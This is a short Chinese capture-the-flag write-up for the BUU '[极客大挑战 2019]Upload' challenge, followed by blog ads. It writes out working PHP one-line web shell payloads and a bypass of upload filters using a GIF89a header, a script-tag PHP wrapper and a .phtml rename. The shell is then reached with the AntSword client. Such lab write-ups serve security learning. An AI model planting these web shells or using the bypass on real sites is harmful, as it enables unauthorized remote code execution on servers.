BUU web [极客大挑战 2019]Upload
BUU web [极客大挑战 2019]Upload
首先编写一句话木马caidao.php尝试上传,发现被识别出不是图片(前端发现请求中的Content-Type不是图片类型)。
<?php @eval($_POST['CMD']);?>
于是将文件后缀改为.jpg,发现会过滤文件中的<?
,无法上传
于是用html嵌套php的方法来上传caidao.jpg,发现仍会识别不是图片(后端检查文件头不对)。
<script language='php'>eval($_POST['CMD']);</script>
在文件开始加上图片头GIF89a
后,上传成功(说明前后端的两个防御都绕过了)
GIF89a <script language='php'>eval($_POST['CMD']);</script>
为了之后能让蚁剑利用该文件,需要用burp来把文件上传请求中的文件后缀从jpg改为phtml
上传后使用中国蚁剑进行远程连接,URL为根目录+/upload/caidao.phtml,密码就是一句话菜刀里面POST的内容
flag就在/目录下
分类:
web
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!